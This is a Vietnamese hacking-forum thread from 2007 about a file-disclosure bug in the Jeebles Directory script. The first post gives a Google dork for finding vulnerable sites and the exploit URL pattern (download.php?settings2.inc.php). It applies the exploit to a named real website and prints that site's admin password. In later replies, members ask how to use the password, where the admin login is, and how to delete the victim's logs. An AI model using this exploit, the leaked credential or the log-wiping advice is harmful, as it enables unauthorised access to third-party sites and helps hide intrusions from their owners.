Jeebles Directory: LFI Get Admin trong nháy mắt

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thông tin new bugs và exploits

Jeebles Directory: LFI Get Admin trong nháy mắt

[Announcement] Jeebles Directory: LFI Get Admin trong nháy mắt	23/10/2007 11:20:58 (+0700) \| #1 \| 92342

hack2prison
Member

Joined: 10/02/2004 10:43:43
Messages: 58
Offline

Mình tìm script làm trang download và phát hiện ra lỗi Local File Inclusion của Jeebles Directory.
vào http://google.com gõ từ khóa: Powered by Jeebles Directory
Kết quả cũng kha khá nhỉ smilie

ta lấy thằng thứ 2 thử nhé: http://www.esco.net/highres

Công thức khai thác: http://[site]/[path]/download.php?settings2.inc.php
Như vậy với ví dụ trên sẽ là: http://www.esco.net/highres/download.php?settings2.inc.php
Một file đẹp đẹp mời ta download. Mở ra thấy:
Code:

...
$LOGIN_INFORMATION = array(
  'admin' => '3quipm3nt01'
...

Bạn có thể download các file khác, muốn rõ thông tin download script này về nghiên cứu he
COMPLETED - Discovered by H2P

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	23/10/2007 12:10:49 (+0700) \| #2 \| 92351

lyokha
Member

Joined: 07/03/2007 15:16:26
Messages: 5
Offline

ặc!Nhiều quá.Thank anh H2P nhé smilie

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	27/10/2007 04:24:53 (+0700) \| #3 \| 93222

tomedison
Member

Joined: 02/01/2007 17:59:37
Messages: 9
Location: VN
Offline

lấy được pass admin xong làm gì nữa ạ???

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	03/12/2007 08:38:14 (+0700) \| #4 \| 101622

okgame_root
Member

Joined: 09/08/2007 03:21:57
Messages: 23
Offline

Tomedison ..................he he.......quả đấ tròn.......

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	03/12/2007 09:51:24 (+0700) \| #5 \| 101635

blueocean89
Member

Joined: 31/08/2007 12:06:33
Messages: 156
Location: r00f
Offline

lyokha wrote:

ặc!Nhiều quá.Thank anh H2P nhé

ehèm, nhiều thật smilie

trons pacrette tiolpsatem otkin ypacs

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	14/12/2007 12:36:23 (+0700) \| #6 \| 103846

king_vn89
Member

Joined: 04/10/2007 17:48:13
Messages: 3
Offline

lấy được pas admin rồi làm gì nữa mấy anh, mấy site đó ko thấy chỗ login ở đâu cả

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	14/12/2007 13:32:43 (+0700) \| #7 \| 103856

kiban250683
Member

Joined: 03/05/2005 16:21:42
Messages: 11
Offline

This post is set hidden by a moderator because it may be violating forum's guideline or it needs modification before setting visible to members.

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	14/12/2007 16:21:55 (+0700) \| #8 \| 103879

Quan Vân Trường
HVA Friend

Joined: 19/07/2002 10:13:30
Messages: 115
Location: 9:00PM-6:00AM
Offline

Đề nghị bạn kiban250683 vui lòng sử dụng tiếng Việt có dấu. Bạn có 24h để hiệu chỉnh lại bài viết, nếu không QVT sẽ xoá bài viết và cảnh cáo bạn lần 1.

Thân.

Kernel Panic.

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	19/12/2007 08:35:33 (+0700) \| #9 \| 104679

Linuxcodon
Member

Joined: 30/04/2007 01:02:08
Messages: 122
Offline

Nếu là hacker mũ trằng thì nên báo cho người ta .......................... Còn nếu là hacker mũ đen thì .... he he he

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	20/01/2008 11:51:32 (+0700) \| #10 \| 111224

mR.Bi
Member

Joined: 22/03/2006 13:17:49
Messages: 812
Offline

nếu ko biết login làm sao thì đừng có nên đọc mấy topic này, hại não lắm!

All of my life I have lived by a code and the code is simple: "honour your parent, love your woman and defend your children"

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	29/01/2008 14:44:45 (+0700) \| #11 \| 112753

lion_king_lovely_1985
Member

Joined: 05/09/2006 20:13:20
Messages: 156
Location: HTTP://HTVSITE.COM
Offline

| <a href='?path=" . $_REQUEST['path'] . "&administration' title='Log In'>Log In</a>

=> Admin Path ^^

HỌC THIẾT KẾ WEBSITE | HỌC LẬP TRÌNH WEBSITE | HỌC QUẢN TRỊ WEBSITE | HỌC LẬP TRÌNH PHP & MySQL
HTTP://HTVSITE.COM

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	05/07/2008 02:40:25 (+0700) \| #12 \| 139928

minhdau77
Member

Joined: 10/10/2007 14:17:38
Messages: 19
Offline

ù đã vô được rùi nhưng làm gì đây chả né soa tất các file của nó à
mà các bác cho em hòi xóa log của nó bằng cách nào và thay đổi mật khẩu kiểu gì
zeze

[Question] Re: Jeebles Directory: LFI Get Admin trong nháy mắt	06/09/2008 21:54:41 (+0700) \| #13 \| 150025

ngocvinhx9
Member

Joined: 16/01/2008 16:19:14
Messages: 5
Offline

cac bac thong cam
trinh em con coi
ko biet lay link login kieu gi
chi giao the di bac smilie

Go to:

Users currently in here
1 Anonymous